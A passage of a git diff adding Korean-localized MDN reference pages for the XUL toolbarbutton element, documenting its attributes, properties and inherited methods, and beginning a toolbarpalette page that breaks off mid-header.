+  <a href="#a-accesskey">accesskey</a>, <a href="#a-autoCheck">autoCheck</a>, <a href="#a-checkState">checkState</a>, <a href="#a-checked">checked</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-dir">dir</a>, <a href="#a-disabled">disabled</a>, <a href="#a-dlgType">dlgType</a>, <a href="#a-group">group</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-open">open</a>, <a href="#a-orient">orient</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-toolbarbutton.type">type</a>, <a href="#a-validate">validate</a></dd>
+</dl>
+<dl>
+ <dt>
+  Properties</dt>
+ <dd>
+  <a href="#p-accessKey">accessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-autoCheck">autoCheck</a>, <a href="#p-checkState">checkState</a>, <a href="#p-checked">checked</a>, <a href="#p-command">command</a>, <a href="#p-crop">crop</a>, <a href="#p-dir">dir</a>, <a href="#p-disabled">disabled</a>, <a href="#p-dlgType">dlgType</a>, <a href="#p-group">group</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-open">open</a>, <a href="#p-orient">orient</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-type">type</a></dd>
+</dl>
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+<p>(example needed)</p>
+<h3 id="Attributes" name="Attributes">Attributes</h3>
+<p> </p><div id="a-accesskey">
+
+
+<dl>
+ <dt>
+  <code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code></dt>
+ <dd>
+  타입:
+  <i>
+   character</i>
+ </dd>
+ <dd>
+  이 속성에는 단축키로 사용될 문자를 지정합니다. 문자는 대상 요소의 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성값인 텍스트에 포함된 문자 중 하나를 사용하는 것이 좋습니다.
+
+ </dd>
+</dl>
+<h4 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h4>
+<div class="float-right">
+ <img alt="Image:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+  &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+  &lt;textbox id="myName"/&gt;
+  &lt;button label="Cancel" accesskey="n"/&gt;
+  &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id=".EB.98.90_.EB.B3.BC_.EA.B3.B3" name=".EB.98.90_.EB.B3.BC_.EA.B3.B3">또 볼 곳</h4>
+<p><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code> attribute, <code id="a-acceltext"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/acceltext">acceltext</a></code> attribute</p>
+
+<p></p>
+</div> <div id="a-autoCheck">
+
+
+<dl>
+ <dt><code id="a-autocheck"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/autocheck">autocheck</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>If this attribute is <code>true</code> or left out, the checked state of the button will be switched each time the button is pressed. If this attribute is <code>false</code>, the checked state must be adjusted manually. When autocheck is true, the button type should be "checkbox" or "radio".</dd>
+</dl>
+</div> <div id="a-checkState">
+
+
+<dl>
+ <dt><code id="a-checkState"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/checkState">checkState</a></code></dt>
+ <dd>Type: <em>integer</em>, values <code>0</code>, <code>1</code>, or <code>2</code></dd>
+ <dd>This attribute may be used to create three state buttons, numbered 0, 1 and 2. When in state 0 or 1, pressing the button will switch to the opposite state. When in state 2, pressing the button will switch to state 0. This means that the button acts like a checkbox except that there is a third state which must be set manually by adjusting the check state. If you wish to have different behavior for how the states are adjusted, set the <code id="a-autoCheck"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/autoCheck">autoCheck</a></code> attribute to <code>false</code> and adjust the state with a script. The <code id="a-type"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/type">type</a></code> attribute must be set to <code>checkbox</code> for buttons with a check state. Constants for the possible values for this attribute are in the <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMXULButtonElement" title="">nsIDOMXULButtonElement</a></code> interface.</dd>
+</dl>
+</div> <div id="a-checked">
+
+
+<dl>
+ <dt><code id="a-checked"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/checked">checked</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Indicates whether the element is checked or not.</dd>
+ <dd>Use <code>hasAttribute()</code> to determine whether this attribute is set instead of <code>getAttribute()</code>.</dd>
+ <dd>For buttons, the <code>type</code> attribute must be set to <code>checkbox</code> or <code>radio</code> for this attribute to have any effect.</dd>
+</dl>
+</div> <div id="a-command">
+
+
+<dl>
+ <dt><code id="a-command"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/command">command</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>Set to the <code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> of a <code><a href="/en-US/docs/Mozilla/Tech/XUL/command" title="command">command</a></code> element that is being observed by the element.</dd>
+</dl>
+
+
+</div> <div id="a-crop">
+
+<dl>
+  <dt>
+    <code id="a-crop"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/crop">crop</a></code></dt>
+  <dd>
+    Type: <em>one of the values below</em></dd>
+  <dd>
+    If the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the <code>crop</code> attribute. An ellipsis will be used in place of the cropped text. If the box direction is reversed, the cropping is reversed.</dd>
+  <dd>
+    <dl>
+      <dt>
+        <code>start</code></dt>
+      <dd>
+        The text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.</dd>
+      <dt>
+        <code>end</code></dt>
+      <dd>
+        The text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.</dd>
+      <dt>
+        <code>left</code></dt>
+      <dd>
+        <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> The text will be cropped on its left side.</dd>
+      <dt>
+        <code>right</code></dt>
+      <dd>
+        <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> The text will be cropped on its right side.</dd>
+      <dt>
+        <code>center</code></dt>
+      <dd>
+        The text will be cropped in the middle, showing both the start and end of the text normally.</dd>
+      <dt>
+        <code>none</code></dt>
+      <dd>
+        The text will be not be cropped using an ellipsis. However, the text will simply be cut off if it is too large. The side depends on the CSS text alignment.</dd>
+    </dl>
+  </dd>
+  <dd>
+    Depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. If you wish to use the value <code>none</code> and the displayed text is larger than this maximum width, you may be able to use the max-width CSS property (or the maxwidth attribute) to override this size. For example, for a menuitem in a menu you can add the following CSS rule when you want to use the value <code>none</code>:</dd>
+  <dd>
+    <pre class="eval">menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+  </dd>
+</dl>
+</div> <div id="a-dir">
+
+
+<dl>
+ <dt><code id="a-dir"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>The direction in which the child elements of the element are placed.
+ <dl>
+  <dt><code>normal</code></dt>
+  <dd>For scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales)  For other elements, the elements are placed left to right or top to bottom in the order they appear in the XUL code.</dd>
+  <dt><code>reverse</code></dt>
+  <dd>For scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales). For other elements, they are placed right to left or bottom to top. This is reverse of the order in which they appear in the XUL code.</dd>
+ </dl>
+ </dd>
+</dl>
+
+
+</div> <div id="a-disabled">
+
+
+<dl>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Indicates whether the element is disabled or not. If this attribute is set, the element is disabled. Disabled elements are usually drawn with grayed-out text. If the element is disabled, it does not respond to user actions, it cannot be focused, and the <code>command</code> event will not fire. In the case of form elements, it will not be submitted. Do not set the attribute to <code>true</code>, as this will suggest you can set it to <code>false</code> to enable the element again, which is not the case.
+
+ <div>The <code>disabled</code> attribute is allowed only for form controls. Using it with an anchor tag (an <code>&lt;a&gt;</code> link) will have no effect.</div>
+
+ <div>
+ The element will, however, still respond to mouse events. To enable the element, leave this attribute out entirely.</div>
+ </dd>
+ <dd>Visible controls have a <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/disabled">disabled</a></span></code> property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.</dd>
+</dl>
+
+
+</div> <div id="a-dlgType">
+
+
+<dl>
+ <dt><code id="a-dlgtype"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/dlgtype">dlgtype</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>The dialog type of the button, used only when the button is in a dialog box. You can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function. For example, if the <code>dlgType</code> is set to <code>accept</code>, the button will replace the dialog box's accept button, which is usually labeled <code>OK</code>. Using this attribute on a button that is not in a dialog box has no effect. The following values can be used as the dialog type:</dd>
+ <dd>
+ <dl>
+  <dt><code>accept</code></dt>
+  <dd>The OK button, which will accept the changes when pressed.</dd>
+  <dt><code>cancel</code></dt>
+  <dd>The cancel button which will cancel the operation.</dd>
+  <dt><code>help</code></dt>
+  <dd>A help button for displaying help about the dialog.</dd>
+  <dt><code>disclosure</code></dt>
+  <dd>A button to show more information. This might be a button or a disclosure triangle.</dd>
+  <dt><code>extra1</code></dt>
+  <dd>An optional additional button.</dd>
+  <dt><code>extra2</code></dt>
+  <dd>A second optional additional button.</dd>
+ </dl>
+ </dd>
+</dl>
+</div> <div id="a-group">
+
+
+<dl>
+ <dt><code id="a-group"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/group">group</a></code></dt>
+ <dd>Type: <em>string group name</em> </dd>
+ <dd>Buttons with type="radio" and the same value for their group attribute are put into the same group. Only one button from each group can be checked at a time. If the user selects one the buttons, the others in the group are unchecked.</dd>
+</dl>
+</div> <div id="a-image">
+
+<dl>
+  <dt><code id="a-image"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code></dt>
+  <dd>Type: <em>URI</em></dd>
+  <dd>The URI of the image to appear on the element. If this attribute is empty or left out, no image appears. The position of the image is determined by the <code id="a-dir"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code> and <code id="a-orient"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code> attributes.</dd>
+</dl>
+
+
+
+</div> <div id="a-label">
+
+
+<dl>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The label that will appear on the element. If this is left out, no text appears. For an editable <code><a href="/en-US/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> element the value of this attribute is copied to the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>.value property upon user selection of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>.</dd>
+</dl>
+
+
+</div> <div id="a-open">
+
+
+<dl>
+ <dt><code id="a-open"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/open">open</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>For the <code>menu</code> <code id="a-type"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/type">type</a></code> buttons, the <code>open</code> attribute is set to <code>true</code> when the menu is open. The <code>open</code> attribute is not present if the menu is closed.</dd>
+</dl>
+</div> <div id="a-orient">
+
+
+<dl>
+ <dt><code id="a-orient"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>Used to specify whether the children of the element are oriented horizontally or vertically. The default value depends on the element. You can also use the <a href="/en-US/docs/Web/CSS/-moz-box-orient" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-box-orient</code></a> style property.
+ <dl>
+  <dt><code>horizontal</code></dt>
+  <dd>Child elements of the element are placed next to each other in a row in the order that they appear in the XUL source.</dd>
+  <dt><code>vertical</code></dt>
+  <dd>Child elements of the element are placed under each other in a column in the order that they appear in the XUL source.</dd>
+ </dl>
+ </dd>
+</dl>
+
+
+</div> <div id="a-tabindex">
+
+
+<dl>
+ <dt><code id="a-tabindex"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/tabindex">tabindex</a></code></dt>
+ <dd>Type: <em>integer</em></dd>
+ <dd>The tab order of the element. The tab order is the order in which the focus is moved when the user presses the "<code>tab</code>" key. Elements with a higher <code>tabindex</code> are later in the tab sequence.</dd>
+</dl>
+</div> <div id="a-toolbarbutton.type">
+
+
+<dl>
+ <dt><code id="a-toolbarbutton.type"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/toolbarbutton.type">type</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The type of button. If this attribute is not present, a normal button is created. You can set this attribute to the value <code>menu</code> to create a button with a <a href="/en/XUL/menupopup" title="en/XUL/menupopup">menu popup</a>. This will typically cause the button to be displayed differently.</dd>
+</dl>
+
+<ul>
+ <li><code>menu</code>: Set the type attribute to the value <code>menu</code> to create a button with a menu popup. Place a <code><a href="/en-US/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> element inside the button in this case. The user may click anywhere on the button to open and close the menu.</li>
+ <li><code>menu-button</code>: You can also use the value <code>menu-button</code> to create a button with a menu. Unlike the <code>menu</code> type, this type requires the user to press the arrow to open the menu, but a different command may be invoked when the main part of the button is pressed.</li>
+ <li><code>checkbox</code>: Use this type to create a toggle button which will switch the <code id="a-checkState"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/checkState">checked state</a></code> each time the button is pressed.</li>
+ <li><code>radio</code>: Use this type to create a radio button. You can also create a group of toolbarbuttons using this type and the attribute <code id="a-group"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/group">group</a></code>.</li>
+</ul>
+
+<table class="standard-table">
+ <caption>Examples:</caption>
+ <thead>
+  <tr>
+   <th scope="row">type value</th>
+   <th scope="col">&lt;<code><a href="/en-US/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code> &gt;</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"> </th>
+   <td><img alt="Toolbarbutton without a type attribute" src="https://mdn.mozillademos.org/files/13601/toolbarbutton,%20type%20no%20value.png" style="height: 41px; width: 41px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">menu</th>
+   <td><img alt='Toolbarbutton with type attribute equals "menu"' src="https://mdn.mozillademos.org/files/13603/toolbarbutton,%20type%20eq%20menu.png" style="height: 42px; width: 45px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">menu-button</th>
+   <td><img alt='Toolbarbutton with type attribute equals "menu-button"' src="https://mdn.mozillademos.org/files/13605/toolbarbutton,%20type%20eq%20menu-button.png" style="height: 39px; width: 53px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">checkbox</th>
+   <td><img alt='Toolbarbutton with type attribute equals "checkbox"' src="https://mdn.mozillademos.org/files/13607/toolbarbutton,%20type%20eq%20checkbox.png" style="height: 41px; width: 47px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">radio</th>
+   <td><img alt='Toolbarbutton with type attribute equals "radio"' src="https://mdn.mozillademos.org/files/13609/toolbarbutton,%20type%20eq%20radio.png" style="height: 41px; width: 38px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+
+</div> <div id="a-validate">
+
+
+<dl>
+ <dt><code id="a-validate"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/validate">validate</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>This attribute indicates whether to load the image from the cache or not. This would be useful if the images are stored remotely or you plan on swapping the image frequently. The following values are accepted, or leave out the attribute entirely for default handling:</dd>
+ <dd>
+ <dl>
+  <dt><code>always</code></dt>
+  <dd>The image is always checked to see whether it should be reloaded.</dd>
+  <dt><code>never</code></dt>
+  <dd>The image will be loaded from the cache if possible.</dd>
+ </dl>
+ </dd>
+</dl>
+</div><p></p>
+<h3 id="Properties" name="Properties">Properties</h3>
+<p> </p><div id="p-accessKey">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/accessKey">accessKey</a></span></code></dt>
+  <dd>
+    Type: <em>character</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-accesskey"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code> attribute.</dd>
+</dl></div> <div id="p-accessible">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/accessible">accessible</a></span></code></dt>
+  <dd>
+    Type: <em><code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessible" title="">nsIAccessible</a></code></em></dd>
+  <dd>
+    Returns the accessibility object for the element.</dd>
+</dl></div> <div id="p-autoCheck">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/autoCheck">autoCheck</a></span></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Gets and sets the value of the <code id="a-autoCheck"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/autoCheck">autoCheck</a></code> attribute.</dd>
+</dl></div> <div id="p-checkState">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/checkState">checkState</a></span></code></dt>
+  <dd>
+    Type: <em>integer</em>, values <code>0</code>, <code>1</code>, or <code>2</code></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-checkState"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/checkState">checkState</a></code> attribute.</dd>
+</dl></div> <div id="p-checked">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/checked">checked</a></span></code></dt>
+  <dd>
+    Type: <em>boolean</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-checked"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/checked">checked</a></code> attribute.</dd>
+</dl></div> <div id="p-command">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/command">command</a></span></code></dt>
+ <dd>Type: <em>element id</em></dd>
+ <dd>Gets and sets the value of the <code id="a-command"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/command">command</a></code> attribute.</dd>
+</dl></div> <div id="p-crop">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/crop">crop</a></span></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-crop"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/crop">crop</a></code> attribute.</dd>
+</dl></div> <div id="p-dir">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/dir">dir</a></span></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-dir"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code> attribute.</dd>
+</dl></div> <div id="p-disabled">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/disabled">disabled</a></span></code></dt>
+  <dd>
+    Type: <em>boolean</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-disabled"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code> attribute.</dd>
+</dl>
+</div> <div id="p-dlgType">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/dlgType">dlgType</a></span></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>Gets and sets the value of the <code id="a-dlgType"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/dlgType">dlgType</a></code> attribute.</dd>
+</dl></div> <div id="p-group">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/group">group</a></span></code></dt>
+ <dd>Type: <em>string group name</em></dd>
+ <dd>Gets and sets the value of the <code id="a-group"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/group">group</a></code> attribute.</dd>
+</dl></div> <div id="p-image">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/image">image</a></span></code></dt>
+  <dd>
+    Type: <em>image URL</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-image"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code> attribute.</dd>
+</dl></div> <div id="p-label">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/label">label</a></span></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-label"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code> attribute.</dd>
+</dl>
+</div> <div id="p-open">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/open">open</a></span></code></dt>
+  <dd>
+    Type: <em>boolean</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-open"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/open">open</a></code> attribute.</dd>
+</dl>
+</div> <div id="p-orient">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/orient">orient</a></span></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-orient"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code> attribute.</dd>
+</dl></div> <div id="p-tabIndex">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/tabIndex">tabIndex</a></span></code></dt>
+  <dd>
+    Type: <em>integer</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-tabindex"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/tabindex">tabindex</a></code> attribute.</dd>
+</dl></div> <div id="p-type">
+<dl>
+  <dt>
+    <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/type">type</a></span></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    Gets and sets the value of the <code id="a-type"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/type">type</a></code> attribute.</dd>
+</dl>
+</div><p></p>
+<h3 id="Methods" name="Methods">Methods</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>XUL 요소에서 상속됨</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>DOM 요소에서 상속됨</strong><br> <small> <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ko/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+<h3 id=".EA.B4.80.EB.A0.A8_.ED.95.AD.EB.AA.A9" name=".EA.B4.80.EB.A0.A8_.ED.95.AD.EB.AA.A9">관련 항목</h3>
+<dl>
+ <dt>
+  요소</dt>
+ <dd>
+  <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></dd>
+</dl>
+<dl>
+ <dt>
+  인터페이스</dt>
+ <dd>
+  <a href="ko/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="ko/NsIDOMXULButtonElement">nsIDOMXULButtonElement</a></dd>
+</dl>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/toolbarpalette/index.html b/files/ko/mozilla/tech/xul/toolbarpalette/index.html
new file mode 100644
index 0000000000..d2f9a2abd6
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/toolbarpalette/index.html
@@ -0,0 +1,98 @@
+---
+title: toolbarpalette
+slug: Mozilla/Tech/XUL/toolbarpalette
+tags:
+  - MDC Project
+  - NeedsTechnicalReview
+  - XUL Elements
+  - XUL Reference
+translation_of: Archive/Mozilla/XUL/toolbarpalette
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/ko/docs/XUL_Reference">XUL Reference home</a>    [
